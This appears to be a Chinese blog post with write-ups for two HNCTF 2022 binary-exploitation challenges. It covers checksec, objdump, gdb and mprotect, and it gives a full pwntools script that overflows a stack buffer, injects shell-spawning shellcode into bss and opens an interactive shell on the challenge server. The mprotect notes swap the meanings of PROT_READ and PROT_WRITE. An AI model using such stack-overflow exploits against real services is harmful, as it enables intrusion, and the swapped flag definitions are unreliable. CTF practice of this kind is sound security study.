hnk2022


[HNCTF 2022 Week1]ret2shellcode
1.checksec查看二进制文件
2.查找后门函数
objdump -t XXX 查看程序中使用到的函数
objdump -d XXX 查看程序中函数的汇编代码
objdump -d -M intel XXX 查看程序中函数的汇编代码,并且汇编代码是intel架构的
objdump -d -j .plt XXX 查看plt表
-j的参数有:.text 代码段
.const 只读数据段(有些编译器不使用此段,将只读数据并入.data段)
.data 读写数据段
.bss bss段
3.发现read函数,存在栈溢出,s容量是256。然后将s复制到buff里,查找buff发现在bss段
但是文件存在nx保护。
4.同时有一个mprotect()函数,显示该段可以执行
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
int mprotect(const void *start, size_t len, int prot);
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。

5.然后gdb调试,发现nx保护下,buu可执行。部分指令如下:
next/n 单步调试
next/n [num] 单步跳过num步
b main 在main函数处设置断点
vmmap 查看各段属性/rxw
run/r 运行程序

6.exp如下:
from pwn import *
context(log_level = “debug”, arch = ‘amd64’)
p = remote(‘node2.anna.nssctf.cn’, 28744)
buff_addr = 0x4040A0
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x100+8, b’a’) + p64(buff_addr)
p.sendline(payload)
p.interactive()
这题shellcode需要插入buff中

ezr0p32
有system无bin/sh,所以bin/sh需要自己构造
因为buf的位置上在bss处,可以借此把binsh写进去,然后构造payload,用0x1c+0x4个字节使程序发生溢出,返回地址改为system,system的返回地址为0,再执行上一个read函数,此时第一个sendline已经把/bin/sh写入bss段
data段:数据段(data segment)通常是指用来存放程序中已初始化的全局变量的一块内存区域,数据段属于静态内存分配。

bss段有可执行权限,shellcode才能运行,可用gdb调试的vmmap命令查看,发现bss段可读可写可执行。范围是0x0804a000到0x0804b000,bss段地址0x0804a040在这个区间,且必须保证shellcode长度不超过这个区间即可,但到目前为止,shellcode具体地址依然不知道。
函数名:read
头文件:<io.h>
函数原型: int read(int handle,void *buf,int len);
功能:用于读取打开文件的内容
参数:int handle 为要读取的文件
void *buf 为要将读取的内容保存的缓冲区
int len 读取文件的长度
返回值:返回实际读取的字节数


文章作者: sinksank
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 sinksank !
评论
  目录